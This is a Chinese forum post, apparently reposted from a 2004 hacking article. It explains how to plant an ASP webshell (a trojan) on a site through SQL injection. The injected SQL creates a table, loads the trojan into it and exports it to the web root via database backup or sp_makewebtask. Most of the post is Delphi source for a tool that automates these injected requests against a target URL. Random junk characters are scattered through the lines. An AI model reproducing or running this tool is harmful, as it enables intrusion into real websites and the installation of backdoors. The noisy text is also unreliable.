数学建模社区-数学中国

标题: SQL注入得到WEBSHELL [打印本页]

作者: 韩冰    时间: 2004-11-21 00:13
标题: SQL注入得到WEBSHELL
<>一.通过SQL注入得到WEBSHELL的原理:
; O5 C+ B# D: h6 i. v9 WN.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。 ; @( X# V  u$ E; H* @/ u1 X3 L6 u
分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有&lt;%%&gt;之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释&lt;%%&gt; 之内的语句呢?如果数据库中有的表中有&lt;%%&gt;标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。
6 _$ R# O2 C. p6 q; `+ m# Y1 |# E再来看看CZY的方法吧。
' H2 [* G9 `% n" q, YCZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。
& t" V5 \6 {- K/ `; n以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。
  c; W  ]# ]1 P5 A1 g, ^7 |二.利用DELPHI去实现功能的前言
  V( E, E  [9 u$ C; E原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。
! z8 M% R& C# j) t% u
+ m6 l0 k) k% h  I. Z( f3 K三.如何利用DELPHI得到WEBSHELL。 4 v& i5 J9 t" r3 d
程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。
" z  v2 [$ z7 C8 X首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图:
3 J/ A( f5 V. N, I( A2 ]$ u  i9 Y" x* J. C
, a: s2 F* Y) p

/ v  \* k! Y/ j* u0 t- G现在来写程序了。
! a' J+ Q; d$ h+ l9 `我们首先定义一个RECORD。
+ V- K1 ^: l8 k2 N$ Y, n& B' ?' q, N如下:
9 ]* w6 ^; w$ YType
6 n2 Q7 A; Z2 m) B7 PSetOption = Record
7 S2 y( e) ~* L( S0 s/ M' GTableName : String; //用来保存要创建的表名.
6 l+ ^7 H( U$ C9 U) nFieldName : String; //用来保存要创建的字段名.
1 r! f$ P# W. I, t  c0 E" _: C- CFiledType : String; //用来保存创建的字段名类型. 4 x% n0 h* \. g7 `5 n
End; + S2 a' F0 f- R# R6 a" i, V5 x
FiledType字段类型的值是以下类型的一种:   V+ H4 @# N) `7 z6 ^' b# d+ ?
Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint * S; v7 u* d" |' _
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值. % s) C* d9 w! g
再定义一个全局变量: - i" T( M; F  r+ @* q+ J/ _  d9 F+ @' H
Var
0 y% j1 h4 j$ L8 z" p! o/ s! ]ISStop : Boolean; //用来判断用户是否按下了停止按纽.
- M7 v2 K, U4 u" d$ T, L9 p6 J好了。在表单创建的过程中,我们为RECORD记录输入默认值. & e0 G6 W0 M/ @9 X3 Z# B* P0 D
代码如下: 4 J; y; I3 x6 d( d* b5 F9 X
procedure TMainForm.FormCreate(Sender: TObject);
, F, Q$ `  j8 c9 kbegin 0 _; _; G0 w( D# O* ^* Q+ _
sOption.TableName :='cyfd'
% Y" B8 S6 D! L" ssOption.FieldName :='gmemo'
; C5 P+ V" g" `& @9 _. JsOption.FiledType :='text'
& [0 n" }5 h: [% J$ Oend;
* z. U3 A6 S) p( E7 K5 Y2 i现在我们添加开始执行命令的代码。
6 P- l1 `* W* ^先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来.   r: }2 i/ _- V: r6 t2 C+ J8 n, j
创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用.
5 j! \# z- ]+ b! y# A' K+ p/ s在程序开始执行前,我们得先检查一下用户的输入 " @7 I. D: f; m( X
定义一个Checkinput函数. 3 R4 Y  C1 @4 e8 t2 U
如下:
9 \$ z, p: _) G( J+ rFunction CheckInput : Boolean; 4 ~' E9 L! v  D8 z9 h0 P
Begin ; a9 T" O, I& M( x7 S: Q0 T
Result := False;
4 c  Y% A2 v& Eif Trim(urlet.Text) = '' then   j* i% W2 W$ x4 J1 f' T
Begin 8 I; b. W  M- G' |5 B; F6 C: Y
Application.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation); 2 f2 g, c+ [) _" G6 n$ x
Exit;
9 c9 r5 I2 D6 E8 c2 s' IEnd;
( z2 t, m7 {- hif Trim(ShellPathET.Text) = '' then
3 \$ V4 G. ]$ N. QBegin 3 p; L( ]3 h! m4 \
Application.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation); : e: \) z( Y% G/ a* i' u. P  U
Exit;
$ L& A7 i4 v4 t, O+ i$ DEnd;
: J9 M/ H% }! F& nIF DefBDoor.Checked then - q% ]: B% r! Q% n+ |& w
Begin
9 R3 Z& I. ?8 U* rif Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then
/ c9 a* ^/ G% t9 I6 }/ VBegin 6 I5 J- a& H& d
Application.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation);
$ r( s1 {( M6 i$ |+ uExit;
7 l6 m* ~* j4 e6 CEnd; . k% ?( B4 |0 q6 z+ X5 Z
End 9 A, p( e6 w1 C8 @; }1 P
Else
3 o( ^" d$ X' }' mif Not FileExists(CustomBdoorET.Text) then
) S$ m& r& O, \- uBegin
- ~" r2 D7 d3 TApplication.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation); 2 V# J$ J$ r& y/ i
Exit;
* j, q% J: J9 P& R4 h4 GEnd; 0 z, D+ {: {$ ?! g* t
Result := True; # J. Y! x8 q8 v! E3 b* `1 `- @
End; + D5 I- x1 W2 S* \: L' O
在最开始加入:
5 P: F  t1 V# IIF Not CheckInput then Exit; //如果输入不合法就退出过程. . b) z1 u; I" w* j' \4 n
好了,如果用户输入没什么错,我们就来下面的代码。
. N! m8 s& y, X$ p( P8 ^+ S7 W首先我们把IsStop设为假。创建BdoorList。 * o9 C6 r6 H- T& `) L. W* S4 C
BDoorList := TstringList.Create;
' e# U# B% ~. T. k再加木马内容到BDoorlist.
1 N$ e' t; p; N$ nBDoorList.LoadFromFile(CustomBdoorET.text); * H7 j# u) n6 j
好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。
9 K+ S3 X2 Q+ C, b1 u3 h代码如下:
( @; j$ f- I7 N3 w& ^6 [BDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]);
9 E; O. x$ D) ?BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]); 6 r5 W) I7 Y9 g, i2 s8 v
接下来.我们就提交建表的功能了.
$ a+ u/ t. _$ U: _Memo.Lines.Add('建表...');
2 X/ Q' {! h% u2 @' RMemo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);'); 2 w% A: x! d2 E& Q7 v4 b# s1 r8 |
这样我们就创建了一个表。然后.我们向表中加记录:
/ e6 f2 Y8 M" E$ _4 n: D  a. h! p代码如下:
( F3 k$ u. s( G# aMemo.Lines.Add('加数据...');
9 W( v, q. r3 J" S, {+ z6 fMemo.Lines.Add(''); 4 J6 h: m% K4 t2 g2 [+ E! @4 i
For i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去.
& t6 Q4 d! z4 y$ W  `8 |/ q7 sBegin 5 j6 n, d2 C- s- ~
IF IsStop then //这里如果点了停止按纽程序将终止任务.
% g6 t* Q! }& R5 {: GBegin 4 ~  r9 z+ v) o, C" Q
BDoorList.Free; ) i' T8 o3 z6 ^" ]
Exit;
0 ?& s' W: D9 h: u; o( MEnd; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');'); + l6 S2 ~1 w+ F+ b% Z
Memo.Lines.Add('Add Line '+Inttostr(i+1));
" R( Q% L+ e; M) \9 @End; ; t! G4 C) S" `4 r1 y- m/ j
现在就是导出数据生成木马了.
/ V# N- h: g/ S0 V3 K6 K' T$ v1 E% B% L% kMemo.Lines.Add('导出数据...'); . F+ `6 e% s/ \  t# [' A
Memo.Lines.Add('');
* K$ t5 p8 B9 i( |& UIF BKData.Checked then //如果选中采用备份数据就执行下面的命令.
" ~0 I: J: Q% N/ O: H( P" sNMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''')
6 G8 Q4 P: F# J5 RElse //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+''''); / n" S6 {# x) k  t( Z! C! |5 ^4 {
我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];'); " I, }. Z; Z8 y" ]
这样我们的任务就完成了。下面来释放变量.
- T/ _* E% m, N/ W2 {$ U& f! @BDoorList.Free; , f- d- c3 z, A( q
再来向停止按纽中添加点击事件: % Q" d6 p/ I/ W5 D  f; }
一行代码就行了:IsStop := True; % V/ ^+ [9 ^9 W6 K& d/ x
到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。
7 l0 E/ E2 v7 P! N设置表单中先引用主表单.然后在界面中添加二个EDIT控件:
7 v/ F) W7 w7 n$ u3 B  ]# ]第一个名称为:TableNameET //保用户输入的存临时表   Q7 L; ^" z- ~
第二个名称为:FieldNameET //用来保存用户输入的字段名. 9 k3 o; F) V2 n
再添加一个Combobox //用来保存用户所选的字段类型值.
1 g4 j) R0 P3 ^# u& [& u名称:FieldTypeCombox
! B  b- k0 B4 ^8 dOK.界面如下:
4 \8 m+ [; ^+ y, H6 W- J4 p' Z: o, k8 _
代码如下:
) Q" a- z: p* t, s# [- ]定义一个过程,主表单好调用这个设置。
6 }. d( k! B5 ^( U6 M4 SProcedure ShowSet;
5 j3 J7 O  J! @0 NBegin 6 P3 [' f' [( q  O! t
Application.CreateForm(TSetForm,SetForm);
& e0 ~! a# W9 F) s% I0 aWith SetForm do
2 U. ]2 y" E9 T# j8 q5 k$ z8 \Begin
5 a$ J4 Z7 g6 s  aTableNameET.Text := sOption.TableName;
) j) x# Q) d, }3 z# P$ IFieldNameET.Text := sOption.FieldName; 7 A6 c" x; |! t1 |1 ?$ y
FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType);
' R  t! r. p) [4 X' R* Z8 k; {End; " \4 p( H' a9 H2 S5 N0 V2 B( @
SetForm.ShowModal;
& A: J: U- u4 V7 s" p7 g2 \SetForm.Free; ( h/ X3 c3 s) Y' V4 G% \5 m/ n) H
End;
0 B: `, Z6 z, j2 P% z6 Z在主表单中设置的点击事件中添加上showset过程就行了。 & ]# e! T9 N. v7 g
下面就是点击确定的代码了。 2 i3 }9 `9 i2 X
IF CheckInput then 5 ^+ \! S* p, I6 g/ x6 o
Begin
, q7 t2 F  F. P- C- ksOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD. $ y) k& y% p# c9 ^/ j
sOption.FieldName := Trim(FieldNameET.Text); $ t# |6 ~2 u7 {( i% m, _- o( i
sOption.FiledType := FieldTypeCombox.Text;
3 Q4 F# |( \3 W; t- uClose; % F& p  t! ]! C  d5 Y+ }
End;
; h/ ~5 o: A$ N3 W这里又有一个CheckInput主要就是检查用户输入的值是不是合法。
2 f1 p; w) ]+ }7 S# n7 R代码如下: ) A& M  t; k6 y8 ^4 F2 t/ }5 a4 \: ?/ B
Function CheckInput : Boolean;
1 P) N, j) E8 qBegin 8 W5 t1 `1 m; d) B
Result := False;
: p" B( V5 {" I- v) [IF Trim(TableNameET.Text)='' then 1 n5 }. N" E3 c% l( u+ N
Begin
' P, U5 F1 g) H3 i% kApplication.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation);
" y9 R( e# |. q/ H% x) }! w9 w3 kExit;
4 [4 H, `: h; j/ ~5 _! fEnd;   \- Z+ e8 S5 }& f# v# T
IF Trim(FieldNameET.Text)='' then * R1 l& l6 v% u+ y
Begin 8 l* G: m: \7 K: ~* n  A
Application.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation);
9 Q. U" v. x" L2 W) r% RExit;
* q% f8 \4 S2 x* J1 q6 GEnd;
2 O" ?8 b$ K# @( cResult := True;
4 a, X; ^; i: G9 r, O/ o9 FEnd;
1 o" L3 F6 d% C- X$ n) _5 l到这里程序就完了。</P>




欢迎光临 数学建模社区-数学中国 (http://www.madio.net/) Powered by Discuz! X2.5